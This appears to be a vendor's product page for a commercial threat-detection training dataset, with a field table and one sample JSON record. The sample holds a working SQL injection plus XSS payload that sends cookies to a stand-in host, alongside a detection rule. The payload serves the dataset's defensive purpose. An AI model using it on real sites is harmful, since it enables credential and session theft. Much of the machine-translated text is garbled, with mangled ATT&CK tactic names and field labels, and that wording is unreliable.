Dataset Overview
Definition：Comprehensive Threat Detection Rule Datasetis provided byChangsha Langhui Information Technology Co., Ltd.The large multi-type threat detection data set built by the security laboratory.XML Rules + PCAP Traffic + HTTP Reconstructed Text + Attack Type Labels + Ground TruthThe five-tier association structure, covering the Web attack (SQLi/XSS/RCE/LFI/SRF), cyber attack (DDOS/Scans/C2), mainframe attack (mobilization/continuation), cloud security attack, API attack, day/Day breach, using six broad threat categories, provides a complete Atlas & CK framework map (covering 14 tactics) and is designed for comprehensive pre-training and multi-threat detection base model training for large security models.
| Dataset Name | Comprehensive Threat Detection Rule Dataset |
| Total Data Volume | 2,000~50,000 |
| Data Type | Five-member group: XML rule + PCAP flow + HTTP returned text + attack type label + standard answer |
| Data Source | Langhui Security Laboratory + Multi-source Threat Information (OTX/AlienVault/MISP) + Laundry Platform |
| License Type | Commercial Licensing Complete authorization documents are attached |
| Delivery Cycle | 4-6 weeks |
| Threat category | Web attacks (uploading of SQLi/XSS/LFI/SSRF/document/XXE), cyberattacks (DDOS/port scan/C2 communications/DNS tunnel), mainframe attacks (upgrading/continuing/verification/cross-cutting), cloud security attacks (S3-pass/MDSv1 use/IAM power), API attacks (GraphQL injection/REST API abuse/JWT attack), day/Day breach exploitation |
| ATT&CK Mapping | Complete 14 tactical maps: Reconnaissance, Resources Development, Internal Access, Exection, Policy, Private Access, Defense Vision, Crystal Access, Discovery, Lateral Movement, Colletion, C2, Exfiltration, Impact |
| Output Format | JSONL / CSV / Excel / PCAP |
| Language | Chinese-English Bilingual |
Core Data Fields
Each data contains six categories of rule identification, XML detection rules, attack payload, HTTP restore text, PCAP traffic, and standard answers, covering the complete closed loop from rule definition to validation evaluation.
| Field Category | Field Count | Typical Fields |
|---|---|---|
| Rule Identifier | 4 | rule_id (rule _KEEP_core_ID), rule_name (name of rule), threat_category (large category of threat), severity (serious level: CC/High/Medium/Low) |
| XML Detection Rules | 3 | rule_xml (Snort/Suricata/ModSecurityXML rule), rule_signature (signature of rule), rule_platform (applicable platform: NIDS/WAF/HIDS) |
| Attack Payload | 4 | Payload (attack on Payload), threat_category (threat classification label), threat_level (1-5), encoding_ type (coding method) |
| HTTP Reconstructed Text | 3 | http_request (full HTTP request), http_response (full HTTP response), protocol_info (agreement information: HTTP/1.1/HTTTP2/gRPC) |
| PCAP Traffic | 4 | pcap_file(PCAP filename), pcap_size(file size), packet_count(number of data packages), flow_during) |
| Ground Truth | 5 | is_attack (whether or not to attack: True/False), attack_type (specific type of attack), bill_chain_face (kill/Exploitation/Information/C2/Actions), technique_ids (list of links to ATT&CK technical ID), impact_score (impact rating 1-10) |
| Threat information connections | 3 | cve_ref (associated CVE number),mitre_group (associated with APT), campaign (associated attack/war name) |
Data Sample Showcase
The following is a sample structured JSON after de-identification, showing the typical format of SQL injection quintuple detection data.
{
"entry_id": "THREAT-2024-012834",
"rule_id": "THREAT-WEB-0452",
"rule_name": "Combined SQLi + XSS Attack via Search Endpoint",
"threat_category": "Web Attack (SQLi + XSS)",
"severity": "Critical",
"rule_xml": "<rule id=\"1000001\" phase=\"2\">\n <operator>multiDetect</operator>\n <action>block</action>\n <pattern_sqli>union\\s+(?:all\\s+)?select</pattern_sqli>\n <pattern_xss><script.*?></pattern_xss>\n <target>ARGS|REQUEST_BODY</target>\n</rule>",
"payload": "1' UNION SELECT NULL,username,password FROM users-- <script>new Image().src='http://evil.com/steal?c='+document.cookie</script>",
"threat_category": "Web Attack",
"threat_level": 5,
"encoding_type": "Mixed (SQLi: URL-encoded, XSS: plaintext)",
"http_request": "GET /search.php?q=1'%20UNION%20SELECT...<script>... HTTP/1.1\r\nHost: target-web.com\r\nCookie: PHPSESSID=abc123\r\n\r\n",
"http_response": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html>...admin:$2a$10$hash...<script>new Image().src=...</script>...</html>",
"pcap_file": "threat_web_combined_sqli_xss.pcap",
"pcap_size": "24532",
"packet_count": 78,
"technique_ids": ["T1190","T1059.004","T1189"],
"kill_chain_phase": "Exploitation",
"impact_score": 9.5,
"mitre_group": "APT41",
"cve_ref": "N/A",
"answer": {
"is_attack": true,
"attack_type": "Combined SQLi + Reflected XSS",
"kill_chain_phase": "Exploitation",
"impact_score": 9.5
}
}AI Application Scenarios
Integrated security model pre-training
50,000 multitype threat five-mix data covering the six main categories of Web/Network/host/uny/API/0day, are the complete language base for the security LLM pre-training.
Multi-threat detection base model
The introduction of SQL into the APT attack, the training of a unified multi-threat detection base model for cross-category threat data, and the realization of the One Model for All Threats common security AI architecture.
Security Operations Centre (SOC)AI
Full ATT&CK map+ C.C.C. chain phase marked, training SOC AI analysts automatically completed: alerting the police to develop threat classification and restore response to attack chain recommendations automated.
XDR automated response
Multi-dimensional threat data across Web/network/host/mog, training XDR AI engines to achieve cross-domain correlation analysis, attack path reduction and automated response programming.
Thriat Hunting AI
Based on MITRA TATT&CK technology mapping and APT organization links data, training in active hunting for potential threats and identification of hidden patterns of attack.
Security Situational Awareness
Multiple threat data + threat level + impact rating, training Security Situational Awareness AI to assess the overall security posture of the enterprise in real time, generating dynamic risk ratings and predictive alerts.
Frequently asked questions
Need for large-scale multi-type threat detection data programmes?
Changsha Langhui Information Technology Co., Ltd. The DataAssetsAPI platform is dedicated to providing high-quality, compliant web security data assets for AI companies and research institutions. Supports flexible combinations by SQL injection subtype, by database platform, and by detection rule format.
Data sample preview Customisation Integrated Threat Program Professional technical support